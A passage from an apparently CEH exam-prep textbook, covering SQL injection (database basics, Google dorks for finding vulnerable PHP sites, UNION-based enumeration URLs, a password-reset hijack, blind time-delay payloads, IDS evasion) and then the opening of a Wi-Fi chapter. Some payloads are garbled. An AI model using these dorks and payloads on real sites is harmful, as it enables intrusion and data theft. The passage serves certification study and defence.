of its functioning. This code, when incorrectly crafted, can be scrutinized and result in
vulnerabilities being uncovered and exploited.
It may seem as if exploiting vulnerabilities in code is an easy thing to do,
but in reality it is nowhere near an easy task. In the case of SQL injection,
understanding the nuances and intricacies is key to taking advantage of weaknesses
and flaws in code.
Databases and Their Vulnerabilities
Since ultimately an attacker is going after the information contained in a database, you
must have a good understanding of databases. Databases store data such as configuration
information, application data, and other information of all shapes and sizes. An attacker
who can successfully locate a vulnerable database will find it a tempting target to pursue.
In today’s environment databases form the heart of many web apps. Commonly used
applications such as Microsoft SharePoint and others use databases as the nucleus of
their structure. In fact, a majority of web apps would not function without a database as
their back end.
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A Look at Databases
For all of its complexities, a database can be described as simply a hierarchical, structured
format for storing information for later retrieval, modification, management, and other
purposes. The types of information that can be stored within this format vary, but the
goal is still the same: storage and retrieval.
Databases are typically categorized based on how they store their data. These types
include the following:
Relational Database With a relational database, data can be organized and accessed in
various ways as appropriate for the situation. For example, a data set containing all the
customer orders in a table can be grouped by the zip code in which the transaction
occurred, by the sale price, by the buyer’s company name, and so on.
Distributed Database A distributed database is designed to be dispersed or replicated
between different locations across a network.
Object-Oriented Programming Database An object-oriented programming database
is built around data-defined object classes and subclasses.
Within a database are several structures designed to organize and structure information.
Each structure allows the data to be easily managed, queried, and retrieved:
Record or Row Each record in a database represents a collection of related data such as
information about a person.
Column A column represents one type of data, for example, age data for each person in
the database.
Databases have a broad range of applications for everything from storing simple customer
data to storing payment and customer information. For example, in an e-commerce
application when customers place an order, their payment and address information may
be stored within a database that resides on a server.
While the function of databases may sound mundane, databases come into their own
when linked to a web application. A database linked as part of a web app can make a
website and its content much easier to maintain and manage. For example, if you use a
technology such as ASP.NET, you can modify a website’s content by editing a record in a
database. With this link, simply changing a record in a database will trigger a change in
any associated pages or other areas.
Another common use of databases, and one of the higher-profile targets, is in
membership or member registration sites. In these types of sites, information about
visitors who register with the site is stored within a database. This information can be
used for a discussion forum, chat room, or many other applications. With potentially
large amounts of personal information being stored, an attacker would find this setup
ideal for obtaining valuable data.
Locating Databases on the Network
A tool that is effective at locating rogue or unknown database installations is SQLPing 3.0,
as described on the vendor’s website; see http://www.vulnerabilityassessment.co.uk/:
SQLPing 3.0 performs both active and passive scans of your network in order to
identify all of the SQL Server/MSDE installations in your enterprise. Due to the
proliferation of personal firewalls, inconsistent network library configurations, and
multiple-instance support, SQL Server installations are becoming increasingly difficult
to discover, assess, and maintain. SQLPing 3.0 is designed to remedy this problem by
combining all known means of SQL Server/MSDE discovery into a single tool, which
can be used to ferret out servers you never knew existed on your network so you can
properly secure them.
SQLRecon is very similar to SQLPing, but it provides additional techniques to discover
SQL Server installations that may be hidden
(http://www.vulnerabilityassessment.co.uk/):
SQLRecon performs both active and passive scans of your network in order to identify
all of the SQL Server/MSDE installations in your enterprise. Due to the proliferation of
personal firewalls, inconsistent network library configurations, and multiple-instance
support, SQL Server installations are becoming increasingly difficult to discover,
assess, and maintain. SQLRecon is designed to remedy this problem by combining all
known means of SQL Server/MSDE discovery into a single tool, which can be used to
ferret-out servers you never knew existed on your network so you can properly secure
them.
Running a scan with either of these tools will give you information about where you may
have SQL Server installations that you are unaware of.
Database Server Password Cracking
After a database has been located, the next step an attacker can take is to see whether the
password can be broken. A feature that is included in SQLPing3.0 is a password-cracking
capability that can be used to target a database server and break its passwords. The
password-cracking capabilities accompanying the product include the ability to use
dictionary-based cracking methods to bust the passwords.
Anatomy of a SQL Injection Attack
The potential attacks that can be performed to leverage the flaws in poorly designed
websites are beyond count. The seemingly endless combinations of technologies and
environments lend themselves to plenty of different attacks.
In this section we will examine a basic attack against a website to see how this works in
practice. Note that this is only one form of SQL injection and against no specific database
technology (unless otherwise noted). In the wild, these attacks may take many different
forms.
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Acquiring a Target for Attack
Before you can attack a target, you must have a target. To find a target you can use
various techniques, but let’s use some good-old Google hacking.
If you recall, Google hacking is the use of advanced search query commands to uncover
better results. Through a little trial and effort, you can find a website that is vulnerable to
an attack. There are numerous search queries you can use, but some of the ones that can
yield results include the following:
inurl:index.php?id=
inurl:trainers.php?id=
inurl:buy.php?category=
inurl:article.php?ID=
inurl:pageid=
inurl:games.php?id=
inurl:page.php?file=
inurl:newsDetail.php?id=
inurl:gallery.php?id=
inurl:article.php?id=
inurl:show.php?id=
inurl:staff_id=
inurl:newsitem.php?num=
andinurl:index.php?id=
inurl:trainers.php?id=
inurl:buy.php?category=
inurl:article.php?ID=
inurl:pageid=
inurl:games.php?id=
inurl:page.php?file=
inurl:gallery.php?id=
inurl:article.php?id=
inurl:show.php?id=
inurl:staff_id=
inurl:newsitem.php?num=
It is possible to execute successful SQL injections against a number
of different technologies, but in the search terms here we are using PHP as an
example. With some variation, ASP.NET, ASP, and JSP pages can also be targeted for
an attack.
There are plenty of ways to search Google using various search terms to uncover a
potentially vulnerable target. I encourage you to experiment with different combinations
to see if you can obtain better or more actionable results.
Once you’ve identified your target, your next step is to look for vulnerabilities. One easy
way to determine if a site is vulnerable to SQL injection is to add a single quote to the end
of the URL like so:
http://www.somesite.com/default.php?id=1'
Type this URL and press Enter, and then observe the results. If an error is returned, the
web application or site located at the URL is vulnerable to SQL injection, though you
don’t know to what degree.
The errors that appear at this point can be any of a large number of
potential errors, but that is not important. What is important at this stage is that an
error is returned because it gives you an indication of potential vulnerabilities that
may be present. The error message typically reads “You have an error in your SQL
syntax; check the manual that corresponds to your MySQL server version for the
right syntax.” As a general rule, if the website returns any SQL errors, it may be
vulnerable to SQL injection techniques.
Initiating an Attack
One of the first steps you can take to uncover information about a vulnerable site is to
learn the structure of the database. To do this you can append a simple order by
statement to the URL like so:
http://www.somesite.com/default.php?id=1 order by 1
If this code returns any result other than an error, then increment the number after the
order by statement by 1 (or some other amount if desired) until an error is returned.
When an error is encountered, it indicates that the last entry that did not return an error
is the number of columns in the database.
Once the columns have been determined, you can establish whether you can make
queries against the system. Do so by performing a union select on the system by
appending it to the end of the URL:
http://www.somesite.com/default.php?id=-1 union select 1,2,3,4,5,6,7,8
Take a close look at this statement. This statement assumes that you discovered that
there were eight columns in the database in your previous step. If more or fewer were
encountered, you would adjust the numbers after the select accordingly. Also note that
you add a hyphen after the = sign and before the number 1 (after the id).
Once the results of this query are returned, you will see that column numbers are
returned. The numbers that are returned indicate that queries are accepted against these
columns, and you can now inject further refined SQL statements into each.
You can now start doing some interesting tasks. Let’s begin by identifying the SQL
version that is in use. To do this, you will use the command @@version or version() to
extract the version information from the database. You will target one of the columns that
accepts SQL queries. In our example, let’s use column 3:
http://www.somesite.com/default.php?id=-1 union select 1,2,@@version,4,5,6
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The version information returned will replace the @@version. Depending on the database
version being returned, you can determine the next stage of the attack. In our example
here, let’s assume the version returned is correct for our next step.
This example assumes that the database in use is MySQL and that the
version is at least version 5. If another version or brand of database is in use, then be
sure to tailor the attack to that environment.
With the version information checking out, you can do something even more interesting.
You can obtain a list of the databases present on the system by executing the following
command:
http://www.somesite.com/default.php?id=-1 union select ↵
1,2,group_concat(schema_name),4,5,6 from information_schema.schemata--
To determine the current database:
http://www.somesite.com/default.php?id=-1 union select ↵
1,2,concat(database()),4,5,6--
To get the current user:
http://www.somesite.com/default.php?id=-1 union select ↵
1,2,concat(user()),4,5,6--
To get the tables:
http://www.somesite.com/default.php?id=-1 union select ↵
1,2,group_concat(table_name),4,5,6 from information_schema.tables where ↵
table_schema=database()—
With the tables presented, you will target the users table:
http://www.somesite.com/default.php?id=-1 union select ↵
1,2,group_concat(column_name),4,5,6 from information_schema.columns where ↵
table_schema=database()--
Altering Data with a SQL Injection Attack
Another way to alter data using SQL injection involves using the forms that appear on
many websites. Forms that collect login or other information can be vulnerable to attack
depending on their design and any flaws that are present. Any form that solicits data and
is somehow connected to a database of any type may be vulnerable to SQL injection.
To illustrate this point, let’s consider a form of a common and simple design. This
hypothetical form is one of the commonly encountered forms that any user would use to
recover their password. This form simply requires the user to enter an email address and
then click OK. Once this is done, the application searches the database for the provided
email address. It then sends an email to that address.
Let’s change things a bit to show how SQL injection works in this situation. In this case
the attacker—you—will attempt to get the application to execute custom SQL code to
either steal information or alter existing information in some way.
First, you must determine what the database and application are doing and how the
database is structured. In this case the application is more than likely using a SQL SELECT
statement to retrieve data, like so:
SELECT data
FROM table
WHERE emailinput = '$email_input';
Because of the way applications use this function, you would have to make an educated
guess as to how the code is constructed. In this situation, the code is close to the actual
code as it originally appeared. You would expect a query to use a variable to hold the
user’s identity since it would need to be able to handle a multitude of inputs.
Remember earlier when you forced an application to generate errors? In this case it is
pretty much the same thing; you must determine how the application reacts when invalid
or unexpected input is provided. Once you know how the application reacts to this type of
input, you can start to formulate malicious SQL strings.
To accomplish this in our example, you input an email address into the form but with a
single quote appended to it, like so:
[email protected]'
Once you enter the malformed email address, you can reasonably expect one of the
following:
The application will sanitize the input by removing the quote from the text because
the application’s designer recognized single quotes as potentially malicious.
The application does not have protection in place and accepts the input without
sanitizing it and proceeds to execute it. In that case the SQL is being run by the
application. Pay attention to the impact of this extra quote in the SQL statement. If
you look closely, you will notice that an extra quote now appears at the end of the line:
SELECT data
FROM table
WHERE Emailinput = '[email protected]'';
When the application executes the SQL code shown here, an error message should
appear. The content and context of this error message are vital in determining the next
step in the process. If the application is designed well and is validating input and
sanitizing it, you probably will not see any type of message in return. However, if the
application is not performing any sort of cleanup or sanitization on input, then an error
message may result. The presence of these errors indicates that there may be enough of a
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flaw present to exploit in some manner.
At this point you can start to perform your injection to see what types of information or
actions are available to you. For example, you may be able to uncover the structure of the
database itself (specifically the tables in the database) using the following code:
UPDATE table
SET email = '[email protected]'
WHERE email = '[email protected]';
The SQL code here is 100-percent legal code in most mainstream versions
of SQL; however, even the unorthodox design of the code works and flows to get you
results. For example, note the semicolon following the quote at the end of the
statement. This semicolon has the effect of letting you close a statement and then
append a statement of your own choosing.
Then, if the application runs this malicious code, it looks like this:
SELECT data
FROM table
WHERE Emailinput = 'Y';
UPDATE table
SET email = '[email protected]'
WHERE email = '[email protected]';
Let’s analyze the result here. When you string all the code together, you can see that the
code is altering the database so that the original email address, [email protected], is
replaced with another email address, [email protected]. The result is that the attacking
party’s code uses the website’s reset-password function to change the password, and the
request is then sent to the attacker’s address. In addition, the login information for the
site has now been changed to a new account.
Once you have performed this action successfully, as the attacker, you can go about
performing additional functions such as browsing information in the system or inputting
new data (or possibly worse).
Injecting Blind
What if the target you are trying to penetrate does not return messages no matter what
actions you take? In this situation you are flying blind, so it makes sense to attempt a
blind SQL injection. This type of attack is not dependent on the presence of error
messages. Much like any other SQL injection, a blind SQL injection can be used to
manipulate information, destroy information, or extract data.
Unlike regular SQL injection attacks, blind SQL injection attacks are much
more time consuming because every time new information is obtained, new
statements must be crafted without feedback from the application itself.
This attack works by indirectly obtaining information, such as through the use of true or
false statements or through the use of timing information about the nature of the
environment. Let’s look at one example:
:; IF EXISTS(SELECT *
FROM users) WAITFOR DELAY '0 :0 :10 '-
This code first checks whether the database users exists. If it doesn’t, the code displays,
“We are unable to process your request. Please try back later.” If the database does exist,
it will pause for 10 seconds. After 10 seconds, it displays, “We are unable to process your
request. Please try back later.”
Since no error messages are returned, you can use the WAITFOR DELAY command to check
the SQL execution status:
WAITFOR DELAY , 'time' (Seconds)
So what is happening in this attack? Well, let’s look at the first line:
:; IF EXISTS(SELECT *
FROM users) WAITFOR DELAY '0 :0 :10 '-
The first part of the statement (which ends right before the WAITFOR statement) is sent to
the system for it to process. If the system cannot run it, the system is therefore not
vulnerable. It will discard the whole line and return control back to the user, or it may
return an application error message (which will not help you). If the system can run the
first part, it will process the whole line, which will cause a momentary but noticeable
pause, indicating to you, the attacker, that the whole line was processed.
If you recall, in Chapter 13 we covered web applications and the error
messages that they generate and how they should be suppressed. In practice, this
means suppressing detailed error messages and replacing them with generic
messages that do not reveal details. Messages should be enough to tell the visitor
that something unexpected occurred but never so much as to inform a malicious
party as to the under-the-hood mechanics of an application.
Information Gathering
Understanding SQL is important to the process of gathering further and more detailed
information about a target. Being able to skillfully create and formulate SQL statements
allows you to manipulate and access information better than without this skill.
In our earlier example, you used SQL code to determine the version and type of database
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in your target. You also used code to generate error messages that allowed you to gather
more information about the environment. This information helps guide the later steps
and helps you determine how to better attack the database. You can find out what kind of
database is used, what version is being used, user privilege levels, and various other
things. Different databases require different SQL syntax.
The differences in syntax between database software packages can be
extremely subtle and completely invisible to the untrained eye. In one database
package the colon character may be used, but in another it may be a semi-colon, for
example. Using the wrong one in place of the other can cause your efforts to fail.
However, recognizing which character is acceptable and which is not can clue you in
to the database application in use.
Information from Error Messages
As you saw earlier, error messages can reveal information that may not be readily
obvious. You can develop additional attacks through these error messages. In our
example you saw one way to extract information from error messages, but there are other
methods as well:
Grouping Error Messages Use the HAVING command to further refine a query by
basing it on grouped fields. The error message will reveal information about which fields
in the database have not been grouped:
'group
by
columnnames
having
1=1
-
-V
Type Mismatch Try to insert strings into numeric fields; the error message will show
you the data that could not be converted:
'union select 1,1,'text',1,1,1 - 'union select 1,1,bigint,1,1,1 - -
Blind Injection Use time delays or error signatures to extract information:
if condition waitfor delay '0:0:5 ' - 1; union select if (condition) , 1 , 1 , 1 , ! ;
Evading Detection Mechanisms
One mechanism that can protect databases is an intrusion detection system (IDS). An IDS
monitors network and host activity, and some can monitor database applications. IDSs
are effective at detecting activities that may indicate an attack.
To evade an IDS, you can use a multitude of techniques, each designed to fool an IDS or
to prevent detection by the device. In many cases IDSs use signature-based detection
systems, which means that many attacks will seek to avoid resembling known attacks. If
an attack matches a known pattern, it will trigger an alert to the administrator.
The most common way to avoid detection is through careful and deliberate manipulation
of input strings to thwart matching. Some common ways to do this include the following:
Sophisticated matching techniques designed to use alternative means of representing
queries
Hex coding, or converting queries into their hexadecimal equivalents
Liberal use of whitespace
Use of comments in code to break up statements
Concatenating strings of text to create SQL keywords using database-specific
instructions
Obfuscated code, or a SQL statement that has been made difficult to understand
SQL Injection Countermeasures
SQL injection can be one of the hardest attacks to thwart and one of the most powerful to
exploit. However, defenses are available to make them less damaging or less likely to
occur.
First, one of the most powerful tools to thwart SQL injection is to use validation. For
example, if your application expects an email address, then the application should not
accept data that does not match the format of an email address. Or if it expects numbers,
it should not accept symbols or letters. Validation can be performed by whitelisting (or
blacklisting) what is (or is not) acceptable to an application.
Validation of information can take place on either the client side or the
server side. It’s best to use both, because client-side validation is easy for an attacker
to thwart. While it may seem that if the security risk is eliminated completely by
using server-side, the best option would be to always use server-side, but this is not
the case. Client-side is valuable because it not only offloads some processing to the
client but at the same time can also prevent bad or bogus results from getting to the
server.
Here are some other common defenses against SQL injections:
Avoid the use of dynamic SQL. These are queries that are built on demand. Dynamic
statements are generated from the options and choices made on the client side. Avoid
such statements in favor of using stored procedures or predefined statements.
Perform maintenance on the server regularly and keep an eye out for software updates
and patches.
Intrusion detection systems also play a vital role in protecting these systems much as
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they do with other network components. In fact, some IDSs can monitor interactions
at the database layer.
Harden a system to include the operating system and database. Every database has
countless options and features, of which only a handful tend to get used regularly.
Disabling unneeded features prevents them from being used maliciously. For
example, the xp_cmdshell command should always be disabled in a database
application unless absolutely necessary.
Exercise least privilege and give the database and the applications that attach to it only
the access they need and nothing more.
Ensure that applications are well tested before deployment into production.
Avoid default configurations and passwords.
Disable error messages outside the test and development environments.
Summary
This chapter explored SQL injection attacks and how they function. We discussed these
attacks and showed you how to defend against them. You learned that SQL injection is
one of the most complex and powerful types of attacks seen today. Attacks designed to
use or leverage SQL can be devastating. To carry out such an attack, you need to have
knowledge of web applications, databases, and SQL.
SQL injections can be very complex and dangerous in the hands of a skilled attacker. With
a few lines of code an attacker can easily destroy, delete, or modify data with relative ease.
A highly skilled attacker can even send commands directly to the operating system itself,
performing even more dangerous operations up to and including privilege escalations and
the installation of software.
Exam Essentials
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Understand the various types of databases. Know the various types of databases,
including hierarchical and relational, each of which stores information a little differently.
Know the mechanics of SQL injection. Know the basics of SQL injection attacks and
how they work. Know that while different databases may have different syntax and
structure, SQL injection attacks have common operating characteristics.
Understand how web applications use databases. Know that many web
applications rely on a database in which the application stores its data, configuration, and
other information.
Review Questions
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1. Input validation is used to prevent which of the following?
A. Bad input
B. Formatting issues
C. Language issues
D. SQL injection
2. Web applications are used to __________.
A. Provide dynamic content
B. Stream video
C. Apply scripting
D. Implement security controls
3. Which of the following challenges can be solved by firewalls?
A. Protection against buffer overflows
B. Protection against scanning
C. Enforcement of privileges
D. Ability to use nonstandard ports
4. Databases can be a victim of code exploits depending on which of the following?
A. Configuration
B. Vendor
C. Patches
D. Client version
5. In addition to relational databases, there is also what kind of database?
A. Hierarchical
B. SQL
C. ODBC
D. Structured
6. Which of the following is a scripting language?
A. ActiveX
B. Java
C. CGI
D. ASP.NET
7. __________ is used to audit databases.
A. Ping
B. Ipconfig
C. SQLPing
D. Traceroute
8. Browsers do not display __________.
A. ActiveX
B. Hidden fields
C. Java
D. JavaScript
9. Proper input validation can prevent what from occurring?
A. Client-side issues
B. Operating system exploits
C. SQL injection attacks
D. Software failure
10. __________ can be used to attack databases.
A. Buffer overflows
B. SQL injection
C. Buffer injection
D. Input validation
11. Which command can be used to access the command prompt in SQL Server?
A. WHERE
B. SELECT
C. xp_cmdshell
D. cmdshell
12. Which command is used to query data in SQL Server?
A. cmdshell
B. WHERE
C. SELECT
D. from
13. Which statement is used to limit data in SQL Server?
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A. cmdshell
B. WHERE
C. SELECT
D. to
14. Which command is used to remove a table from a database?
A. cmdshell –drop table
B. REMOVE
C. DROPTABLES
D. drop table
15. SQL injection attacks are aimed at which of the following?
A. Web applications
B. Web servers
C. Databases
D. Database engines
16. Which of the following is another name for a record in a database?
A. Row
B. Column
C. Cell
D. Label
17. What type of database has its information spread across many disparate systems?
A. Hierarchical
B. Relational
C. Distributed
D. Flat
18. What type of database uses multiple tables linked together in complex relationships?
A. Hierarchical
B. Relational
C. Distributed
D. Flat
19. What can an error message tell an attacker?
A. Success of an attack
B. Failure of an attack
C. Structure of a database
D. All of the above
20. A blind SQL injection attack is used when which of the following is true?
A. Error messages are not available.
B. The database is not SQL compatible.
C. The database is relational.
D. All of the above.
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Chapter 15
Hacking Wi-Fi and Bluetooth
CEH EXAM OBJECTIVES COVERED IN THIS CHAPTER:
III. Security
P. Vulnerabilities
IV. Tools/Systems/Programs
O. Operating environments (e.g., Linux, Windows, Mac)
S. Exploitation tools
Wireless networks have been popular for over a decade now and have
quickly replaced or enhanced wired networks. The ability to become more mobile due to
the lack of wires has been a big motivator in the adoption of the technology by businesses
as well as end users. In addition, the technology has made it possible to push networks
into areas they have not traditionally been able to go, including airports, hotels, coffee
shops, libraries, and other areas where the use of wires would be prohibited.
Adding to the security issues associated with Wi-Fi is another technology in the form of
Bluetooth. While not the same as Wi-Fi, it is a wireless technology and does suffer from
some of the same general issues that Wi-Fi networks have had to deal with. With the
increasing amount of Bluetooth-enabled devices available on the market including
smartphones, tablets, and other devices, the implications of data leakage associated with
Bluetooth are huge. All you have to think about is the type of information the average
user stores on their mobile devices to understand the potential issues emerging with
Bluetooth. In this chapter we will cover the various types of wireless networks as well as
Bluetooth and how to explore their vulnerabilities and security risks and how to penetrate
them successfully.
What Is a Wireless Network?
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The risks associated with wireless networks have definitely increased, in some cases
dramatically, compared to traditional wired networks. Attacking parties have found that
wireless networks allow for much easier targeting of victims and make the penetration
into seemingly protected safe areas simpler than they were before the technology arrived.
As a result of the perceived risks (both actual and imagined), many companies have
slowed their implementation or needlessly exposed themselves to security risks—
needlessly because they can have a wireless network that is secure if they take the time to
consider all the issues involved as well as the risks.
Wi-Fi: an Overview
Wireless networks, or Wi-Fi, fall into the range of technologies covered under the IEEE
802.11 standard. The technology has been adapted for use by everything from laptops and
personal computers to smartphones and video game consoles. Through the use of
wireless technology, users can connect to the Internet and share resources in ways that
weren’t possible in the past. However, the technology for all its convenience and
flexibility does have its drawbacks:
There’s a much more dramatic decrease in available bandwidth than with wired
networks since more devices are connected at once. Though this decrease is itself
decreasing, it is still there, but speeds of wireless are increasing regularly with new
research showing 1 GB speeds and above are possible.
You must invest in new network cards and infrastructure. However, it is worth noting
that in today’s world new network cards and infrastructure are more likely than not to
have wireless networking built in. In fact, it is starting to become the norm to see
equipment without wired network connections.
Interference is an issue because many other electronic devices and technologies
operate on similar frequencies as Wi-Fi.
The range of wireless networking can be less than advertised and in most cases is
about half the distance promised.
Terrain can slow down or impede wireless signals.
Some of the advantages are as follows:
You have the convenience of not having to deal with wires.
You can be connected in places where it would be impossible to run wires.
Mobility is possible in ways not possible with wired networks.
Hot spots offering wireless connectivity are commonplace, so a Wi-Fi connection is a
reality just about anywhere someone goes.
The Fine Print
A wireless network uses radio waves to transmit data. The technical details that define a
wireless network and 802.11 occur at the Physical layer of the network. The standard that
defines Wi-Fi was itself built from the 802.11 specification. The Wi-Fi standard defines
many details, including how to manage a connection through techniques such as Direct
Sequence Spread Spectrum (DSSS), Frequency Hopping Spread Spectrum (FHSS),
infrared (IR), and orthogonal frequency-division multiplexing (OFDM).
In this chapter we will be talking about four environments built around the technology
and how each varies:
Extension to an existing wired network as either a hardware- or software-based access
point
Multiple access points
LAN-to-LAN wireless network
3G or 4G hot spot
The first type, which uses access points, comes in one of two types: hardware- or
software-based. Hardware-based access points (HAPs) use a device such as a wireless
router or dedicated wireless access point for Wi-Fi–enabled clients to attach to as needed.
A software-based access point (SAP) is also possible through the use of a wireless-enabled
system attached to a wired network, which, in essence, shares its wireless adapter.
Many people are already more familiar with the concept of SAP-based
hotspots than they may realize. With software-based hotspots either included with
the software on the device or available as a downloadable app, many mobile devices
have the ability to be an SAP. Thus, many people already use these types of setups.
The second type involves providing more than one access point for clients to attach to as
needed. With this implementation, each access point must have some degree of overlap
with its neighboring access points. When it has been set up correctly, this network allows
clients to roam from location to location seamlessly without losing connectivity.
A LAN-to-LAN wireless network, the third type, allows wired networks in different
locations to be connected through wireless technology. This approach has the advantage
of allowing connections between locations that may otherwise have to use a more
expensive connectivity solution.
A 3G/4G hot spot, the fourth type, provides Wi-Fi access to Wi-Fi–enabled devices,
including MP3 players, notebooks, cameras, PDAs, netbooks, and more.
The 3G/4G hot spot has become very popular in recent years since
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smartphones and other devices provide it as a standard item.
Wireless Standards in Use
Not all wireless standards are the same, and you should become familiar with the
differences and similarities of each (see Table 15.1).
Table 15.1 Wireless standards
Type
Frequency (GHz) Speed (Mbps) Range (ft)
802.11a
5
54
75
802.11b
2.4
11
150
802.11g
2.4
11
150
802.11n
2.4/5
54
~100
802.11ac
2.4/5
433-3.69 Gbps ~100
802.16 (WiMAX) 10–66
70–1000
Bluetooth
1–3 (first gen) 33
2.4
30 (miles)
The IEEE 802.11 family of standards evolved from a base standard that
debuted in 1997. Initially, the speeds were very slow—around 1 to 2 Mbps—and not
very popular outside specific implementations and deployments. Since that time,
wireless networks have gotten faster and more widespread, and they use wider
frequency bands than before.
So why all the different letters in the 802.11 family? Well, the short answer is that the
additional letters correspond to the working groups that came up with the modifications
to 802.11. For example, 802.11a refers to the standard that defines changes to the Physical
network layer required to support the various frequency and modulation requirements.
Service Set Identifier
Once a wireless access point or wireless network is established, the next step involves
getting clients to attach to it in order to transmit data. This is the job of the service set
identifier (SSID). An access point will broadcast an SSID, which will be used by clients to
identify and attach to the network. The SSID is typically viewed as the text string that end
users see when they are searching for a wireless network. The SSID can be made up of
most combinations of characters, but it can only ever be a maximum of 32 bytes in size.
When you install and set up your device, be sure to change the SSID name
that is configured by default with most access points. Leaving the default name as
“Linksys” or “dlink,” for example, can tip off an attacker that perhaps you have left
other default settings in place.
The SSID is continually broadcast by the access point or points to allow clients to identify
the network. A client is configured with the name of an access point in order to join the
given network. It is possible to think of the SSID configured on a client as a token used to
access the named wireless network. The SSID is embedded within the header of packets,
thus making it viewable. On open networks, the SSID is visible and can be viewed by any
client searching for it. On closed networks, the SSID is not visible and in some cases is
said to be cloaked.
A client must have an SSID to access a wireless LAN (WLAN). However,
some choose to cloak this SSID so it is not visible to the public and is instead
accessible only by those who know the name and are in range. This is done, as some
claim, as a security measure. However, the reality is the use of this technique does
not provide any substantial security since many tools and techniques can be used to
easily obtain the SSID.
It is also worth adding that in particularly congested areas, those with a lot of
wireless networks and interference, this practice may degrade performance. With the
SSID not visible, a client who was previously connected and is now reentering the
area and wishing to use the network can take longer to connect because finding the
network can take longer.
Wireless Vocabulary
In addition to the term SSID, this chapter uses the terms shown in Table 15.2.
Table 15.2 Common wireless terms
Term
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Description
GSM (Global System for Mobile An international standard for mobile wireless
Communications)
Association
The process of connecting a client to an access point
BSSID (basic service set
identification)
The MAC address of an access point
Hot spot
A location that provides wireless access to the public
such as a coffee shop or airport
Access point
A hardware or software construct that provides
wireless access
ISM (industrial, scientific, and
medical) band
An unlicensed band of frequencies
Bandwidth
How much speed is available for devices
Wireless Antennas
Something else you should be aware of when talking about wireless networks is the type
of antenna in use. If you are working with consumer-grade access points, this typically is
not a big concern because the antenna is built in or provided with these products.
However, when working with enterprise and commercial-grade access points, you may
very well need to select an antenna to suit your environment or for a specific purpose. In
this section we’ll look at each of the available types and what makes them unique and
why you would choose one over another.
A word of caution here is in order. On some access points you may need to
choose not only an antenna but also the cables and such to connect it to the access
point. While this may not seem like a big deal, it is possible, with certain
combinations, to exceed legal limitations on power and frequency. The FCC and
similar agencies will frown on this and can issue fines in extreme cases. Thankfully
there exists plenty of guidance on how to set up things correctly, so plan ahead if you
are going to be setting up such hardware.
The first type of antenna we’ll discuss is the Yagi antenna (Figure 15.1), which is designed
to be a unidirectional (more commonly known as directional) antenna. As a
unidirectional antenna, it works well transmitting and receiving signals in some
directions but not in others. Typically, this type of antenna is used in applications where
the transmission of signals is needed from site to site instead of covering a wider area.
From a security standpoint, this type of antenna enhances security by limiting signals to
smaller areas.
Figure 15.1 A Yagi antenna
The next antenna type is one of the more common ones and is known as an
omnidirectional antenna. This type of antenna emanates radio energy in all directions but
typically in some directions better than others. In many cases, these antennas can
transmit data in two dimensions well but not in three dimensions.
A parabolic grid antenna (Figure 15.2) is another popular type of design and is commonly
seen in various applications. This type of antenna takes the form of a dish and is a
directional antenna because it sends and receives data over one axis; in fact, it can be said
that this type of antenna is unidirectional, working well only over a single axis and in one
direction. One big advantage of this type of antenna is that its dish catches parallel signals
and focuses them to a single receiving point, so it gets better signal quality and over
longer ranges. In many cases, this type of antenna can receive Wi-Fi signals over a
distance of 10 miles.
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Figure 15.2 A parabolic antenna
Something that has been popular for a while is the conversion of a
DirecTV or Dish Network dish into a parabolic Wi-Fi antenna. With the availability of
these dishes on sites like eBay or Craigslist, it is possible for someone with a minor
monetary investment and basic skills to convert such a dish into an effective longrange antenna.
Wi-Fi Authentication Modes
When you are authenticating clients to a wireless network, two processes are available.
The first, known as open system authentication, is used in situations where you want to
make your network available to a wide range of clients. This type of authentication occurs
when an authentication frame is sent from a client to an access point. When the access
point receives the frame, it verifies its SSID, and if it’s correct, the access point sends a
verification frame back to the client, allowing the connection to be made.
The second process is known as shared key authentication. In this process, each client
receives the key ahead of time and then can connect to the network as needed.
This is how shared key authentication works:
1. The client sends an authentication request to the access point.
2. The access point returns a challenge to the client.
3. The client encrypts the challenge using the shared key it is configured with.
4. The access point uses the same shared key to decrypt the challenge; if the responses
match, then the client is validated and is given access to the network.
On enterprise-grade networks it is possible that instead of shared key
authentication an appropriate enterprise-level solution may be used instead; in many
cases this can mean RADIUS.
While a full description and accounting of RADIUS is outside the scope of this book,
it is something you should be aware of. Through the use of the RADIUS technology,
authentication and authorization can be centralized, meaning the key management
can be as well if enterprise authentication options are chosen in the Wi-Fi solution.
Wireless Encryption Mechanisms
One of the big concerns with wireless networks is the fact that the data is vulnerable
when being transmitted over the air. Without proper protection, the transmitted data can
be sniffed and captured easily by an attacker. To prevent or at least mitigate this issue,
encryption is a layer of security that is included in most, if not all, wireless products.
The following are some of the more commonly used wireless encryption and
authentication protocols in use:
Wired Equivalent Privacy (WEP) is the oldest and arguably the weakest of the
available encryption protocols. The WEP standard was introduced as the initial
solution to wireless security but was quickly found to be flawed and highly vulnerable.
The WEP protocol is still regularly encountered as an option on many wireless access
points and devices but should be avoided in favor of other options or upgrading
hardware to support newer standards where possible. However, if these options aren’t
realistic at the time, then it can suffice as a short-term solution but should be
combined with other security technologies just in case.
Wi-Fi Protected Access (WPA) was the successor to WEP and was intended to address
many of the problems that plagued WEP. In many areas it succeeded and made for a
much tougher security protocol. WPA uses Temporal Key Integrity Protocol (TKIP)
and message integrity code (MIC).
WPA2 is the successor to WPA and was intended to address the problems with WPA.
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WPA2 is much stronger and uses tougher encryption in the form of AES and CCMP
(Counter Mode with Cipher Block Chaining Message Authentication Code Protocol).
The standard also comes in a version that uses stronger systems such as Extensible
Authentication Protocol (EAP), TKIP, and AES (with longer keys).
WPA2 Enterprise is a version that incorporates EAP standards as a way to strengthen
security as well as scale the system up to large enterprise environments. WPA2, as an
enterprise solution, uses RADIUS or similar technology to centralize and manage
access to the wireless network.
Authentication Technologies
Some points to remember:
EAP is incorporated into multiple authentication methods, such as token cards,
Kerberos, and certificates.
Lightweight Extensible Authentication Protocol (LEAP) is a proprietary WLAN
authentication protocol developed by Cisco.
Remote Authentication Dial-In User Service (RADIUS) is a centralized authentication
and authorization management system.
802.11i is an IEEE standard that specifies security mechanisms for 802.11 wireless
networks.
802.11i is the standard largely responsible for the introduction and
improvement of the WPA and WPA2 technologies.
WEP Encryption: a Closer Look
WEP is the oldest of the wireless encryption protocols and is also the most maligned of all
of the available methods. When originally introduced and integrated into the 802.11b
standard, it was viewed as a way of providing security of data transmissions more or less
on a par with that of wired networks. As designed, WEP made use of some existing
technologies, including RC4, as encryption mechanisms. Although WEP was intended to
provide security on the same level as wired networks, it failed in that regard and has
largely fallen into disuse.
Pay particular attention to the WEP security protocol because you will be
expected to understand how it works. Know its flaws and vulnerabilities, and be able
